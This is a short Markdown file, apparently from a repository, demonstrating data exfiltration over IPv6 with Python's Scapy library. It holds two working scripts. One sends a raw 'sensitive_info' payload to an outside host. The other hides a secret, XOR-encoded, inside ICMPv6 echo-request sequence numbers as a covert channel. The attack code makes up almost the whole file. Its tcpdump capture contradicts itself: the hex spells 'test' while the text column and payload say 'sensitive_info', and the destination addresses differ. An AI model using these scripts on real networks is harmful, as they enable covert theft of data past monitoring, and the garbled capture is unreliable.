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57 lines
2.2 KiB
Markdown
57 lines
2.2 KiB
Markdown
# Example of Exfiltration over IPv6 Using Scapy
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Libraries like scapy for Python make it easier for developers to interact with networking abstractions at a higher level.
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For example, with only two lines of code we are able to send a crafted packet to an IPv6 endpoint:
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```
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from scapy.all import IPv6,Raw,send
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send(IPv6(dst="XXXX:XXX:X:1663:7a8a:20ff:fe43:93d4")/Raw(load="sensitive_info"))
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```
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And sniffing on the other endpoint we can see the packet reaching its destination with the extra raw layer where we included the ‘test’ string:
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```
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# tcpdump -s0 -l -X -i eth0 'ip6 and not icmp6'
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tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
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listening on eth0, link-type EN10MB (Ethernet), capture size 262144 bytes
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23:47:15.996483 IP6 XXXX:XXX:X:1663::1ce > XXXX:XXX:X:1662:7a8a:20ff:fe43:93d4: no next header
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0x0000: 6000 0000 0004 3b3e XXXX XXXX XXXX 1663 `.....;>.......c
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0x0010: 0000 0000 0000 01ce XXXX XXXX XXXX 1662 ...............b
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0x0020: 7a8a 20ff fe43 93d4 7465 7374 0000 z....C..sensitive_info..
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```
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Another example:
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```
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from scapy.all import IPv6,ICMPv6EchoRequest,send
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import sys
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secret = "THISISASECRET" # hidden info stored in the packet
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endpoint = sys.argv[1] # addr where are we sending the data
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# taken from a random ping6 packet
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# 0x0030: 1e38 2c5f 0000 0000 4434 0100 0000 0000 .8,_....D4......
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# 0x0040: 1011 1213 1415 1617 1819 1a1b 1c1d 1e1f ................
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# 0x0050: 2021 2223 2425 2627 2829 2a2b 2c2d 2e2f .!"#$%&'()*+,-./
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# 0x0060: 3031 3233 3435 3637 01234567
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data = "\x1e\x38\x2c\x5f\x00\x00\x00\x00\x44\x34\x01\x00\x00\x00\x00\x00" \
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"\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f" \
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"\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f" \
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"\x30\x31\x32\x33\x34\x35\x36\x37"
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def sendpkt(d):
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if len(d) == 2:
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seq = (ord(d[0])<<8) + ord(d[1])
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else:
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seq = ord(d)
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send(IPv6(dst=endpoint)/ICMPv6EchoRequest(id=0x1337,seq=seq, data=data))
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# encrypt data with key 0x17
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xor = lambda x: ''.join([ chr(ord(c)^0x17) for c in x])
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i=0
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for b in range(0, len(secret), 2):
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sendpkt(xor(secret[b:b+2]))
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```
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